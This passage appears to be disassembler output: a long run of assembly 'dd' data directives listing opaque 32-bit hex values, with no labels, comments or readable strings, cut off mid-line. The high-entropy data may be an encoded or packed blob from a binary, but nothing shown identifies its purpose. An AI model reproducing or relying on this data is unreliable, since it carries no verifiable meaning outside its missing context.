dd 0E0BFB134h, 8E418C9Dh, 0C56CB43Bh, 0D4FB0C2Fh, 0FA5B0497h dd 68588CFEh, 0DD11EF6Bh, 9ED2AAA3h, 5B7799C7h, 7B4D6203h dd 4D345606h, 0FB4B285Fh, 0EF4B69CAh, 0C4F7ECD8h, 0B3474976h dd 0E8FD1025h, 0F893BB3Ah, 6749AAD7h, 0B37D823h, 0D9F648B1h dd 0C042C6D8h, 8637A94Ah, 4978216h, 85DF4BEh, 641FF36h dd 103B6F6Dh, 7E02286Ch, 4EE95985h, 0AF29EAA5h, 0AD3EEDDDh dd 0D4178A3Fh, 5AD62186h, 29F70B46h, 0DA3E6E2Bh, 4A76E93Ah dd 0C1E0D8BEh, 0DE12E82Fh, 45350959h, 2E596E7Fh, 496F59CDh dd 49351C75h, 124AACE1h, 66C9A464h, 97F78ABFh, 61EA3B17h dd 7FF98BFh, 0F2BBBE0h, 0C4814BE9h, 81CEBB6Fh, 0EE5CAC16h dd 800C353Ch, 0B431E9E1h, 342C2641h, 95769F60h, 4B404856h dd 2D0ED853h, 0A8D4DBF7h, 45B8D084h, 680845FBh, 0AA8CFBC9h dd 4A582F5Ah, 3C753778h, 1F0C7160h, 0A12A9D72h, 0E6DC28BDh dd 0D6290A6Ch, 2F08BA52h, 3BC2B302h, 7E70B0Eh, 8FA4D15Dh dd 356199B1h, 9D3A6221h, 6B5C2162h, 0BC9EF8C8h, 8A591259h dd 855C24A5h, 7D346885h, 0B50337BFh, 79D9EB02h, 0C0C4D76Ch dd 0CCE9BB61h, 2312BB97h, 1215A3AAh, 0BEB2E8BAh, 8C685304h dd 79709151h, 7E5FC207h, 0A859C999h, 23738049h, 0BF039D64h dd 261B85E1h, 0D0A25FEAh, 0ECAC12h, 17BAB86Bh, 83003397h dd 0E0C101E8h, 14862502h, 0B318A33Eh, 1F0C6C05h, 5FC1EE7Bh dd 0D1BBECDDh, 0CC76F7Bh, 8B51846Ch, 2738C79Dh, 95DBB657h dd 4FCC13F5h, 0BAAC5372h, 83960648h, 74E68059h, 0C1E5C699h dd 0E37FFEF0h, 0F58E12D5h, 4ECBBEC1h, 16C56801h, 3E5F7C0Fh dd 0E50623B2h, 0C50A71Ch, 97F1B31Dh, 220057D3h, 759E7D51h dd 0A7409629h, 0C206154h, 200BF095h, 629DE211h, 3167C4A6h dd 0EDF34063h, 0E5601701h, 500F454Bh, 77BAD849h, 0BCFB5B44h dd 5C312F40h, 5AD70949h, 9B56C4D4h, 3FE909EBh, 5152FBA3h dd 8625BC39h, 29B9706Dh dd 9EF1E80Bh, 92E91F60h, 0F7AAB447h, 7B9E0238h, 7145F469h dd 0E575E9FBh, 0C21D1276h, 2F5DBEE3h, 311B4CE1h, 0E663B8FEh dd 0D8F780EFh, 3C2D4002h, 0DFBE09E8h, 3FD285CAh, 6A9521E4h dd 58EF7C02h, 2E90EB56h, 98E25C4Ah, 0AB5EF7C4h, 0EAD201E9h dd 0E90D5E9Fh, 6FA085F1h, 0EF81B281h, 41DFEC6Ah, 0EBE86AC3h dd 0BFAEE90Dh, 0E68041C9h, 0C3800010h, 7B287381h, 91A42550h dd 0E58FF6E8h, 9330FA3Dh, 31BB0EBDh, 6FA7A66Fh, 15968D37h dd 0EB815CCBh, 47934804h, 0E7E6EA31h, 63ECD741h, 0B26BFD17h dd 37330410h, 0DA012435h, 47A8235Ch, 967BD1DBh, 0BF0C8F63h dd 0FBF85232h, 0EB71622Fh, 5029D020h, 694FFB92h, 71C770C3h dd 0BF570048h, 8280840Ch, 16F0EB05h, 0F80D5590h, 281A8EE9h dd 680CA468h, 14432EB0h, 31FD577Dh, 0BCA63E53h, 0AED25C84h dd 0EA65FF43h, 0BF8B4AFEh, 0CA883EC4h, 40BE4BD5h, 6F74C3C2h dd 2BEB0115h, 0A0EB1770h, 4BC22E6Bh, 2037263Eh, 1D1CD008h dd 917F186Bh, 56CAD69Ah, 73296FE1h, 71DF3C62h, 33DEEB20h dd 0D4ED0609h, 0CF273A1h, 0D1D5FB89h, 743A4C74h, 0A059DC40h dd 2E0D62AFh, 10622B23h, 12513B91h, 1CA452A3h, 0AF764A99h dd 0B97E6B29h, 70984D9h, 5D0231BBh, 0EECD106Ah, 6DD43D76h dd 8E33F0ACh, 0AE972B2h, 9280DAD8h, 611FF9F3h, 5F3B4E64h dd 0A0FFC612h, 0A594DE96h, 0AA185816h, 300A6BD8h, 0CDC422EBh dd 7E5BED38h, 1694E585h, 2D2FEDEEh, 68D5C008h, 315E5F14h dd 3A26AAF1h, 17BED977h, 0FBA8BA0h, 620A3643h, 0FEF44F5Dh dd 0F08BA875h, 4F932E74h, 90EC6A56h, 8191FAA7h, 44E8BD55h dd 1016685Dh, 5C063EBCh, 2F6CA468h, 13E9DABFh, 1631A8BBh dd 45E2600h, 0C3269288h, 7CBBEC2Dh, 57A80953h, 2CE3A110h dd 751D9C2Fh, 608B488h, 26319FE9h, 0D17407BDh, 2AE944Bh dd 5308ECC0h, 0B3FEBBB7h, 14EC70Eh, 655BE9FCh, 0EEC3B424h dd 0ABE2974Ch, 7C95654Ch, 0E8C1845Ch, 57BD9CFEh, 3B14DF97h dd 0F8CEE913h, 7CB50741h, 0E860C530h, 4C469D96h, 7F5D10F2h dd 50E116EBh, 6F683100h, 0A048271Ah, 0E0C0EEB7h, 25D37F2Fh dd 40F5F089h, 977DED52h, 9A49529Ah, 28AB3B5Ch, 0E92F5684h dd 2110521Eh, 0BA836CDEh, 98117B7Ah, 0B8D1D2F7h, 0EF2042Bh dd 0C00BDD09h, 3C28DE7Dh, 10BB1E5Ah, 0FF4F0874h, 0EEEB6845h dd 8A176216h, 0E3BB7A84h, 0F9FC93CAh, 0E320E9B0h, 6CD576BDh dd 0FF9D795Dh, 0C5D5282Bh, 45E9C1EDh, 73453BD6h, 0F231402h dd 35D4CC8Bh, 527A3CFEh, 3A62A99Ch, 0C2F80921h, 1A0415E4h dd 4DBB5334h, 842936C2h, 0F9EF5B96h, 0D5022C3Bh, 48FEF309h dd 728852D7h, 77F5F5C6h, 0C889D655h, 2026393Fh, 51BD3B73h dd 0EA529750h, 294A331Ah, 0AA1F45ECh, 4E02202Bh, 5EC3BD05h dd 91C0295Dh, 607F33D0h, 6696BC78h, 12C19CCh, 0EDE024DDh dd 50BE6182h, 3839F737h, 0A1CB454Fh, 88BCA0Ch, 6903945Ch dd 0B56D437Ah, 7514B2FBh, 0A5EEB717h, 2E8ABF17h, 904DE04Eh dd 97FDC41h, 0F429AF91h, 3A7035D6h, 0EC2DD3F1h, 3F5604B6h dd 558378C4h, 0BB2B17Bh, 0E523FE2Ah, 73768129h, 9291F23Eh dd 4AB58ABEh, 0C9221ED2h, 2D3F55DFh, 24922117h, 0E74FC1DAh dd 457C7BE1h, 0CC2FC2B0h, 0E98C5E63h, 66E7165Fh, 3BC5AC55h dd 4FF07B5Dh, 0FD4B87F4h, 9C40CBF9h, 0B6063FBh, 0A1EC9F98h dd 0D8089F5Fh, 164A2D04h, 0F133E4BFh, 2B40949h, 77E7D8F6h dd 0F900F04Dh, 0DD8E3378h, 81680930h, 90315735h, 16BDBFFEh dd 1D6109AFh, 0FA043F53h, 12A3A914h, 0A953AC21h, 45538C00h dd 2C5A27C0h, 59D2D689h, 42D5EEF7h, 0DED86CBh, 0BBC53EA9h dd 0DA15199Bh, 8134DCE9h, 11A3EB1Bh, 37606130h, 43CE97A6h dd 2AD5FEF7h, 0C3033C47h, 0E330321Eh, 38BE8526h, 9FA021FCh dd 80B8C009h, 0DB991C64h, 30E0A5AEh, 4E010838h, 650556E3h dd 8920504Dh, 72D50D8h, 9885B05Bh, 7FC700C9h, 0CE815808h dd 41264874h, 0C2006C54h, 0E9AA19CFh, 0FD01BFB2h, 2B3C8B5Ch dd 55DC78BAh, 1FCF6804h, 938B725Ch, 580BA85Eh, 13180B2Eh dd 0BED9C04Ch, 0CC702DB7h, 72BA6D5h, 51043706h, 0E984C4D7h dd 5EC604ABh, 0C82EE67h, 0A125E0CEh, 50162E31h, 0E6F0164Dh dd 85A69665h, 0BEE0B327h, 86EEE328h, 30ACE8A8h, 22CFD848h dd 0BDC4C06Fh, 0F59265Ah, 10BF895h, 63ED1129h, 0A6FB68E9h dd 0FE20F628h, 0BF214D41h, 925F71F8h, 3E772053h, 4B58FEF5h dd 7913C2F4h, 57AD2CF2h, 8C3DF686h, 0AC89D326h, 624BA817h dd 9D0B5501h, 0CE82D5Fh, 4BF4E56Bh, 56304E55h, 0D235F5E9h dd 4EBCA5h, 0B3443B05h, 985E5956h, 2026099Ch, 1E0040A5h dd 427C7E27h, 0CCCCE93Dh, 8C32D303h, 4CAC7F17h, 0AEFE414Eh dd 835F323Ch, 0D5685EF3h, 8AEF3F4Eh, 19CBDB54h, 42F00257h dd 4A123BC3h, 870004EAh, 5FAAF936h, 0C4EFDE85h, 7FF08793h dd 0A2D4EF3Eh, 686187A9h, 6D8B693Ch, 42D91B57h, 0D9D792BCh dd 0F68429B9h, 8499EF1Ah, 406BFC40h, 0AB774C2Dh, 0E51F224h dd 0CAC07417h, 2EF60960h, 4F5DE0B5h, 0AA2F58FEh, 0E658E901h dd 21D3010Fh, 890804F4h, 0F4E150h, 0BD62EA80h, 0C30D0EFEh dd 0C52ECEC8h, 4174AE66h, 2BB23DEEh, 4041B33Ch, 0BA03BD3Ah dd 686B7631h, 70408D7Fh, 7C43FABBh, 9AF59547h, 77E40987h dd 7F729FF9h, 49442DA2h, 4EBC000h, 80D33AF6h, 1C30F29Eh dd 5D60E759h, 46B7F88Dh, 186E2D46h, 0C0EAB456h, 79394C4Fh dd 18D49DEEh, 0F0B581Fh, 0E214774Ch, 0E7897790h, 0EA43B59h dd 38574139h, 775C27E4h, 7AA35DB1h, 0B0464CA3h, 0A1E6BF92h dd 1798814Fh, 0E9B0D798h, 82BCEEFCh, 21CB6841h, 0B18B9392h dd 74A33B62h, 185AE982h, 252A14DFh, 82E677E4h, 0B92A9201h dd 0C5D5E912h, 0A3FF31A7h, 93DE31F0h, 0B1084BF3h, 0EC4EE3BFh dd 6D6F2EF1h, 0B9602A25h, 95693B9h, 0A7E9396Bh, 95F1952Bh dd 8066BC02h, 9461E13Eh, 7D3DA37Fh, 1ECF7664h, 0AC7A66A1h dd 4809B593h, 0DE185D78h, 511F4205h, 4BBA77F6h, 0E6881CC1h dd 0E9C5E322h, 0BFD5A0C6h, 284AA716h, 0D1808204h, 0EF506604h dd 58889DACh, 7FAFFB62h, 9AFD9AA2h, 0D6DF8909h, 2652A5E4h dd 0D7AEB925h, 0D7270745h, 0CCB76738h, 4A89D1B5h, 0AF539310h dd 188A6A6h, 0BD0E46C9h, 0F04DBA50h, 460127FCh, 275F7970h dd 66D94885h, 0D7189B89h, 68858BCDh, 69FE6FCDh, 10563D5Ah dd 6604153Fh, 0AAB1B551h, 922C3744h, 0E57405BCh, 0BD515BF0h dd 0C02D5D65h, 82DB7B1Ah, 9653FEC1h, 0E9B15B12h, 6480A07Ah dd 42BE6A1Ch, 2BA95752h, 2B0C0980h, 0A4905810h, 0C89D5D27h dd 2C7BCBC4h, 2FFF5FD2h, 56838B7Fh, 12700AB1h, 0E25792E3h dd 4D87C4CEh, 0A7C42EECh, 405FCA28h, 0AA63C3B8h, 0E1CABA28h dd 406BF7C5h, 6809EB3Ah, 294F53B1h, 5008F910h, 7FE6E9B2h dd 5245DB91h, 151776EDh, 80B8E870h, 6EDC82F1h, 9546B8BEh dd 56558B18h, 6BE1E972h, 0BD08C888h, 574C641h, 0B802C1AAh dd 0F0F82ACDh, 0FE70DA8Bh, 69A0BE1Ch, 958C4D5Eh, 3EB9372h dd 3F5616AEh, 0AE10295Ah, 134D237Dh, 17BBE64Eh, 95882191h dd 513252FFh, 240E90Bh, 64F157Eh, 92300AE4h, 20DD5C34h dd 8D561A85h, 55C488ADh, 3EB80177h, 30466C58h, 0FD825BC7h dd 2BF7CFB0h, 36E56812h, 4754D708h, 3B5999EAh, 3CE7D920h dd 0F0211952h, 0F5818A62h dd 103FE2F5h, 5877F640h, 286C0993h, 48F5486Eh, 2D06B416h dd 0B2D82177h, 70B2FE9Dh, 669DBF8Ch, 0E0B805A3h, 0E1EE3E89h dd 4F2844A7h, 0F88E66CFh, 16340376h, 0FFDCFEE3h, 0E3EA9B53h dd 61A5C40Fh, 0EA67CCEBh, 2E444809h, 8328FA16h, 0C91C0208h dd 593D7C63h, 366C74FBh, 5D1819BEh, 42EA473Dh, 53DF5908h dd 5CA88F73h, 0E2E3EA53h, 7954C299h, 2010102Dh, 1667B31Ch dd 0E30004F3h, 3B8427FEh, 7C683E90h, 600A9C61h, 5C9C1F8Ah dd 67ECA1h, 283EC981h, 5BF7294Ch, 0BFED0B77h, 0D706BB51h dd 4066FA87h, 0D19731EDh, 0AB5C690Fh, 2805E906h, 8CB90F58h dd 0F1137C40h, 5F903AA7h, 42497B82h, 6C527C7Ah, 2B5A300Ch dd 1370F304h, 0F6015B3Eh, 7A0C41BFh, 0B8318EB0h, 587C5821h dd 5E25C34Eh, 2C4278B1h, 13559405h, 0EBCD3955h, 7A1C8941h dd 82DEA83Eh, 77143552h, 87C23BC0h, 76129725h, 4DE904F5h dd 0FE4ED455h, 81E970F1h, 0FC3E6565h, 0AAE9E031h, 0B07BB758h dd 0A6DEE50Dh, 0B988E7Eh, 5F68BAE9h, 0ED3AC098h, 13298182h dd 0F7E6CE28h, 872605F9h, 0CFBEE9C1h, 0D629202Fh, 5B4B643Ch dd 1CAB49EFh, 0B8077E78h, 0B1B9C397h, 34384CAEh, 0BDF13980h dd 283DC787h, 87EF84CFh, 0B3F80457h, 0F0127EC3h, 1CBD682Ch dd 0E026668Fh, 2CDDEA18h, 973023CCh, 0E2724479h, 990F600Eh dd 0BEF2C04Eh, 0C008DD5Ah, 4A7DBF0Ch, 0A45BE925h, 0B6A7CFA1h dd 0E924B4BEh, 0E8A09D9Dh, 5FD41D59h, 6F843BB0h, 2B8A1A73h dd 8034A4BAh, 0A11B280Dh, 0B090516h, 0F5F8540Fh, 0BDE90310h dd 5CDFC297h, 1B68C1C4h, 28A6264Ah, 0C1054802h, 28460574h dd 0A3E94DB0h, 66DBA908h, 41CCF76Ah, 466A28F3h, 0A34E7D6Eh dd 0CC888702h, 0E7BCB959h, 6D74ED61h, 4D38785Ah, 2927D0CFh dd 7CC44E40h, 0F260733Eh, 5B5D64B2h, 0EAE07E25h, 0B0C28080h dd 0CFD7EFC2h, 6EFE065Dh, 1452208Bh, 0D2E5584Ah, 172829E9h dd 1A6FBA02h, 0E360472Ch, 3A2C7B38h, 0E90BD650h, 80726041h dd 78E464CBh, 202ABE3h, 0EE530FDh, 0C5FDEB09h, 0DF699CFAh dd 0DD2842C5h, 0A17686E9h, 0F3165413h, 7D0E4D1Ah, 0C144E06Eh dd 0DD4BE9h, 4149B943h, 82BF7218h, 0BF9BD13h, 37285954h dd 0AF148209h, 9022FF64h, 5B051759h, 0AC8AA485h, 0FD59C240h dd 13AEE9ECh, 0FFC34279h, 0C59ADA11h, 13C91617h, 9FEAD244h dd 5CE90B56h, 489855D8h, 8180D6B7h, 595402EEh, 0DEF72822h dd 0BB031F4Ch, 3CD00292h, 0F3BFEC01h, 0C6AC5030h, 567D710Ch dd 14640C2Ah, 21DF0ABAh, 0B64A45C1h, 67A1302Dh, 7066A09h dd 9869C321h, 5FE144B4h, 5589C00Eh, 774035E9h, 572C0CBBh dd 21C3B69h, 0C29D5AFAh, 0ADCF75ACh, 558874A6h, 78050123h dd 0E867911Dh, 0DB820826h, 48D727C4h, 0BBD54AE5h, 35EB3065h dd 1C047F7Ah, 8222E96Bh, 3E1D5696h, 985E0968h, 70BD508Fh dd 1E3D2062h, 139D2958h, 61AE9E95h, 9BF57C1h, 0AC1A004h dd 0C821FA6h, 725E4CA5h, 89228541h, 7261C223h, 16E5ECF7h dd 0C5371B4Ah, 1A0F71F8h, 0ECC8123Dh, 0BB2D4BEAh, 89E9A802h dd 0E27AD750h, 6049A2F0h, 5E5205Dh, 0F7DB34F5h, 2AB1BACCh dd 5F6CEB20h, 92BEF73Dh, 2DE9A32Ch, 589C68CCh, 2CE54FFCh dd 672597A9h, 921752ACh, 0E783B859h, 810FDCBh, 0E5B667B8h dd 0F5EA4662h, 5C124095h, 0BAABB9F0h, 27969573h, 567668BDh dd 34070568h, 0A15E4713h, 573ED0C4h, 0D0AA4E4Ah, 2D6A728h dd 0E1B1015Eh, 4561BA3Eh, 0BDBACE9h, 0FEDB17F7h, 0EC52262Eh dd 963127B3h, 37589514h, 246C1330h, 36D16BEh, 0E68156EBh dd 1EF23CAEh, 3839F7F6h, 0D14EA768h, 7CBA8113h, 2B090F0Ch dd 0ACED20BEh, 7297B316h, 9BCCF392h, 2BE43CEBh, 85BAA8CBh dd 7BA940DDh, 5ABAF95Bh, 0D69FD0F9h, 0DAEB0D30h, 3886BCCh dd 0EAA55B42h, 0B552702Ch, 998B69D3h, 0D28DA4B0h, 1F4049FFh dd 625BC0A7h, 63E6DA82h, 9FA46CB7h, 136FE8D1h, 631326EAh dd 42FC4230h, 250AAF05h, 795E31E8h, 2D3C770Dh, 0F3015DD8h dd 0E1283F30h, 0C8ECB93Eh, 672A160Ch, 38E280CCh, 5A7C1BE0h dd 22ED80BDh, 52E41FC7h, 0E909FE89h, 36FD44EDh, 792049D1h dd 1BD8C15Eh, 904B680Fh, 79F20498h, 40EE2270h, 7FEBE2DFh dd 0D2BF017Ah, 0C08898FCh, 0FB082D34h, 0F3A206B7h, 286A765Dh dd 89DC4AF6h, 97420CCh, 0FDF85F81h, 1283AB37h, 0A94950AFh dd 85C2D288h, 3A70F7EBh, 0BAC15E5Fh, 0AD50D9B4h, 588845FAh dd 7D482F87h, 6D149573h, 0A7704795h, 80B83DBh, 0EDD2230Bh dd 39062501h, 0EB97EAD4h, 0C2D6291Ch, 245442BFh, 0B2856187h dd 819B3476h, 5DD3F55h, 84594583h, 5B51D8AAh, 1A53522Eh dd 1CAEE412h, 5AD387E6h, 3AE9A159h, 0EB4F921Fh, 0BF5B1DECh dd 32318A0Fh, 0C8BF8275h, 681C5268h, 0D72522A4h, 42093CC5h dd 703778DFh, 7DA30BA7h, 0C555F229h, 0AD76E9B5h, 0C0FF97CFh dd 390E957h, 0D71B12B7h, 4869C0F1h, 5AE12813h, 5FC340FEh dd 46D6E781h, 23C7D58h, 0C14C7EC7h, 0E6767757h, 24D01609h dd 80AAEA0Fh, 7F5C79D4h, 82BE9890h, 4B51E958h, 4D23AB7Ch dd 42CBD1C3h, 7B2DBE2Fh, 8086A930h, 6812925Ch, 0D8AC59ACh dd 349B42DEh, 90D56473h, 81EEDCDDh, 0FE5CD301h, 64284B03h dd 13A92D68h, 7C709D19h, 0E8C11359h, 35D42BC1h, 562F4D63h dd 664571F4h, 86B598ACh, 4D4BCDF1h, 564D4EBh, 0EF4571F0h dd 0D9E39240h, 0F82F4C2Ch, 0BDF35E8Eh, 0EB89791h, 8154D24Eh dd 5E125B5Ch, 0F15AC0FBh, 1160DD0Eh, 55C87D0Ch, 0DEE9137Fh dd 0A1D1F8C4h, 68008DE3h, 0B2BF1640h, 296D626Dh, 5DF5095h dd 3FDFEF81h, 0BABA8295h, 0AD58B4E9h, 5B04050Ch, 3F022DBAh dd 621175A2h, 731C2512h, 2FB90012h, 4131945Fh, 59C98103h dd 0B80B556Bh, 27CDBB53h, 0F7D3F35h, 60BF576Eh, 0D00D58B2h dd 811C29E5h, 3D6E180Eh, 0CFD88343h, 0F36022E7h, 4E1C06F4h dd 2C01BA35h, 717A3997h, 9615360h, 9F01A7Ch, 0F2E6CB77h dd 72E07E28h, 30841F62h, 8903B960h, 41BF0DDh, 860F73EEh dd 52358219h, 4B6F38D9h, 0C20B564Fh, 10BA794h, 0A172F5EFh dd 0CCF5B07Ah, 61DC5D18h, 2E764A0Ch, 589F1F75h, 2196D3E9h dd 0EBFAF925h, 0E961D17Eh, 0F151B240h, 216104E6h, 14DD1930h dd 0E7472D26h, 56510609h, 51CAD307h, 0F06A150Dh, 816AAF2h dd 0C2BC65ADh, 408EA84Bh, 8D13F9A2h, 17AC8EB6h, 0F235F84Bh dd 0A45D5B5Ch, 1E9CAF64h, 3B8FAB81h, 22A5719Dh, 9520957h dd 5EC2556Fh, 0FFB8445Fh, 14B3B678h, 0A8E96413h, 0B9E6C293h dd 80019DD0h, 0C499E7CCh, 0E1F83E9Ah, 2CF1F60Eh, 4F028C3h dd 0E9D15AD3h, 16069E83h, 7539C1DEh, 53A2DC83h, 51506680h dd 0C0BFCBB1h, 9A2BB536h, 0A277955Ah, 91ED213h, 19B6AA82h dd 0A7E2DA6Bh, 315E92C8h, 0C956D4BFh, 5A7DFC16h, 5E170BB1h dd 0C27DCAEEh, 45E469E9h, 9C5AAC72h, 56DE0BC1h, 2A38CF64h dd 30BF4F25h, 98B252A7h, 0CDC38002h, 646292E9h, 0BCC0EEFBh dd 0DD8809BAh, 68EA18F7h, 30384A81h, 0A2161837h, 15AF485Ch dd 9E4AB1B8h, 0FD906ECBh, 7F8B3710h, 0BA143103h, 0FA7C9A2Ch dd 0FF928B29h, 79DDEBEAh, 603900E7h, 0A6686D3Eh, 9C220359h dd 0FC7DF750h, 0C06BC44Bh, 770509D0h, 0E8450E2Fh, 9EDFFA63h dd 5724404Bh, 0CD56C068h, 635F2326h, 6E08B503h, 0A78C1D2Dh dd 8CCA62Ch, 0EF81E5F8h dd 1030154Ah, 277456BFh, 607C6CBAh, 1CD008A0h, 8DAE4B14h dd 14F22A0Bh, 0B203E983h, 5DE8B312h, 906DD6ABh, 4740C201h dd 0F6C5E970h, 4ECD8580h, 0F713BA69h, 3A45DD3Fh, 268CD6Fh dd 0A26AFBC1h, 0A09D5C31h, 49583B08h, 0B6E944ADh, 212330E7h dd 7E5BCBE2h, 38929ACh, 78B0D401h, 185C9C30h, 0B0F64E2Dh dd 56682FA0h, 7D0B8BF9h, 9B2F2B24h, 679000FFh, 0E97AF644h dd 0AB9F2478h, 13D459AAh, 0D398FAE8h, 0B8B30567h, 0A8C83122h dd 2F460076h, 8FE91DDBh, 544C00Dh, 0EF26FC0h, 565F2D09h dd 560F5D46h, 0A37C0794h, 70EFD011h, 0E908091Ch, 23254A48h dd 0EA2AD422h, 95A497ECh, 0AC65086Fh, 95AB3500h, 9E010D8Eh dd 0B56309ADh, 5A099259h, 6109F121h, 291195E9h, 0F7BC4BFCh dd 8F6EDD09h, 0E101687Eh, 3136D6D0h, 3CF2446Ah, 0E6540BDBh dd 86504CA2h, 0AD47FB13h, 0E9A374CBh, 2FF334D1h, 2B29EAh dd 0A62486C3h, 93E93816h, 4C285BA0h, 0B57900EBh, 0AEC43A54h dd 176F32E8h, 4BB4E605h, 0AEF4EAFBh, 220F75A4h, 0D84F90E8h dd 50005799h, 0D22F668h, 4FC9E962h, 4875EB25h, 0AEA816BFh dd 1746B831h, 6AD7F601h, 7F3E604Bh, 7FE40F0Fh, 0BE139585h dd 87FAFB17h, 0A933E669h, 17844D20h, 0E5781A68h, 0BD02EFC9h dd 0D10A3DC7h, 8660DF23h, 5A8103EFh, 6A4D17Fh, 9B288547h dd 1ABBB38h, 0B34426D5h, 0AF188320h, 52FBA54h, 9931E17Eh dd 6DC0147Eh, 0BF5F0840h, 9D62655Ch, 8260567Bh, 0C96C60BFh dd 1110ED5h, 0D164022Ah, 4D1DB578h, 4B268721h, 0FFE3A543h dd 17FAB288h, 3BEE62h, 0B108597Fh, 0DAB7312Bh, 6707401Bh dd 543A4001h, 4F3DE952h, 76C5F582h, 0D2E0E05Dh, 6109D4F5h dd 0DE896867h, 0C4C79D87h, 8440C50Dh, 0A0F1AAE9h, 65F3F400h dd 290E1A03h, 8011CFAh, 287E47E9h, 9BAFA595h, 830C1085h dd 6C8C0502h, 127D5A89h, 0EC3040C6h, 661A0451h, 9AD27E9h dd 0E1707758h, 55535A25h, 0DA8929A3h, 0D46DC0D5h, 5F402645h dd 0C8443B18h, 49685287h, 0E9449E31h, 2D7DB19Bh, 0A814CCEDh dd 31BF0B68h, 91042313h, 6BECA175h, 0D09759Eh, 0B1562174h dd 5EF6F90Ch, 42342C68h, 0B8B6624Eh, 758A2E41h, 60E0820Eh dd 0E61EF622h, 5FC0BFDAh, 27CCC7A9h, 0E4CFB859h, 0EC08D0F9h dd 1660032Ch, 7882F27Ah, 715F8A25h, 94A888A7h, 0FE096C2Ch dd 0B928B08h, 0D981075Ch, 482D5FA2h, 8864A789h, 199D4C20h dd 0D46AC183h, 93DFE2A0h, 0B64FDAACh, 8510100Fh, 0E23BA01h dd 0B868697Bh, 40A492Fh, 12C11F22h, 96F031F4h, 0AD5B1623h dd 6F67CAB8h, 8667CAA0h, 0FF8B89A7h, 0F7AD98C5h, 1101BB86h dd 26407B90h, 7E9E09BFh, 4DFE55AAh, 7B4A0304h, 0F8ED84EAh dd 255813C5h, 803EDCF5h, 286B23A7h, 61F08926h, 71C8C517h dd 21F34182h, 4C84C954h, 499058BBh, 13857B5Fh, 3B8329ABh dd 1B522F21h, 6D573C12h, 6AE90E9Fh, 4BFF4D5Ah, 964AD025h dd 5B38766Bh, 6A52E5EDh, 54A16EA0h, 4BABEACCh, 0B7652110h dd 8FBDFC39h, 46A01FC5h, 485060EBh, 27388717h, 0E2C18942h dd 0ED907505h, 0CE04370Ah, 5960E98Bh, 0BABB30FFh, 0ED2D678Ch dd 82FEDE4Ah, 0E9D13A9Dh, 81B8C0F7h, 0D2B01BF1h, 7BD00CA9h dd 1D986E13h, 588724C9h, 334A979Dh, 978E7C55h, 5E264707h dd 89A77250h, 0BD349CD5h, 0FEC9C079h, 1A336B4Ch, 0C5DDC39Ah dd 89E7A5DDh, 1FA372AFh, 5741EB81h, 348D045Ch, 881D128Dh dd 0C341F6D2h, 6416FCB9h, 853DC47Bh, 0D4D204FAh, 5EEF1656h dd 0C214499Eh, 688F987Dh, 9372B588h, 7119F330h, 2F4A50C6h dd 8857071Bh, 0E90508B7h, 0BA40F5Bh, 0AC24E7C2h, 0E318F870h dd 41715930h, 7F4641BBh, 6D1F7ED1h, 1830570Ch, 1E1905BDh dd 0AD3178ADh, 3E415594h, 4A05BCD8h, 117DCA08h, 0E14EC185h dd 0D8CA2F6Dh, 0A3C7257Bh, 711607FBh, 219B13EAh, 79A547Eh dd 5678C9D2h, 19776070h, 0F8957245h, 489E7564h, 0C23D44BEh dd 3A412189h, 37604A00h, 0F8974EBBh, 97C1EAA1h, 466F3976h dd 2715F59Ah, 0EB183958h, 0D39473FEh, 5340FCA6h, 974F3168h dd 6A1C49D3h, 1370E348h, 9243015Dh, 3F37A478h, 0F1038ACBh dd 5A935DCAh, 846A0C01h, 0CB89CF2Ah, 0BF4E632Dh, 88396FC8h dd 50605B54h, 0A7414580h, 1CC1FD73h, 0C3571C9Eh, 6FC76D4Fh dd 2254FDDAh, 28586604h, 0D1A4BFC7h, 0C602BDB9h, 0FAEBD737h dd 40F55A6Ah, 0D40DA5h, 6449050Ah, 0E0C13D08h, 0B5702DE8h dd 0D503E00h, 42EA6BA6h, 35630E05h, 0CF616FD6h, 290E6ADEh dd 28E51B63h, 0F83BB1ADh, 1E27381h, 821EC946h, 7212A60Ch dd 6BCF8150h, 0DB60D66Dh, 0BCD95E8Ah, 5AEA6E6h, 6CF122C7h dd 1D788229h, 5A28305Ch, 0D6C43E4Fh, 68CD02AFh, 0A90F2FF0h dd 99CED778h, 0D44B5A5Ah, 5E27076h, 0BD262CBFh, 79FCC23Eh dd 85038708h, 0DA1870CDh, 9D6A701Fh, 592614DDh, 0BB5B82C2h dd 9C5C3A7Ch, 6542FA0h, 5A20065Bh, 12073AE9h, 0F8885809h dd 9FDAD75Bh, 7712BE77h, 5AF9238Dh, 9F0AE04Eh, 11EC1C5Fh dd 131205B0h, 5E30F627h, 5F07205Eh, 612EC95Bh, 4B592220h dd 643D44AAh, 76C2F8D2h, 0FB4E6735h, 7D673F87h, 1EB843E0h dd 16A4FC89h, 9DAC9DE9h, 0A6D96F3Ah, 0C9C6E9F1h, 0BD330526h dd 0D88C0D92h, 4C7F7C74h, 6EA172Ah, 15C6C901h, 4FF734B0h dd 3B42A1F0h, 6C21D8h, 5459011h, 1F0D2132h, 2DD02914h dd 0B594907h, 0D75DB568h, 0FE8AC2B9h, 19B65200h, 0C3C64BFEh dd 0EE820143h, 209F802Eh, 0E865AF5h, 30D0F6C5h, 8E89A9Ch dd 0CC857E77h, 0E927CE4Ah, 0E2894880h, 2F5E1842h, 5B6DD01Fh dd 182BCF30h, 404A1E97h, 3C17E16Fh, 0D0802578h, 27529336h dd 0CF20F9E9h, 0EF1559CAh, 0E8E5652h, 0CF7AB4C2h, 3A42FE18h dd 0C8FC8D58h, 9DFD68FDh, 0FB08E85Bh, 0F581051Eh, 99B09B0h dd 75A7AC00h, 13F17D4h, 8A072EEh, 2095295Dh, 6E5913F1h dd 636812E9h, 5E63A34Eh, 5E41CDB5h, 6369109Dh, 917A9817h dd 12A0F6Fh, 9871F187h, 0A74C08B3h, 9203DB7Ah, 536CB056h dd 3E0DE152h, 3C9C4AF5h, 82542F97h, 0FB2E5C59h, 86E9E638h dd 3C081634h, 84388BABh, 0EB1701F7h, 0D92CC212h, 0BE81DC1h dd 74680731h, 59F70922h, 1668E193h, 2FEE234Bh, 0A5714F54h dd 95E92601h, 92C97C31h, 35FDF401h, 0B144222Ch, 0EAD953FAh dd 327DACB3h, 0EAEB7D35h, 863B6ADFh, 3B30E6BAh, 2C93D0B7h dd 493E5FCDh, 81D6769Fh, 5F2F7862h, 8F89F01Ch, 0A566D01h dd 0AAFECBD8h, 32649483h, 0D3E3B03Fh, 289C0535h, 914B55E9h dd 582765A5h, 0D1975F82h, 0A8BF657Ch, 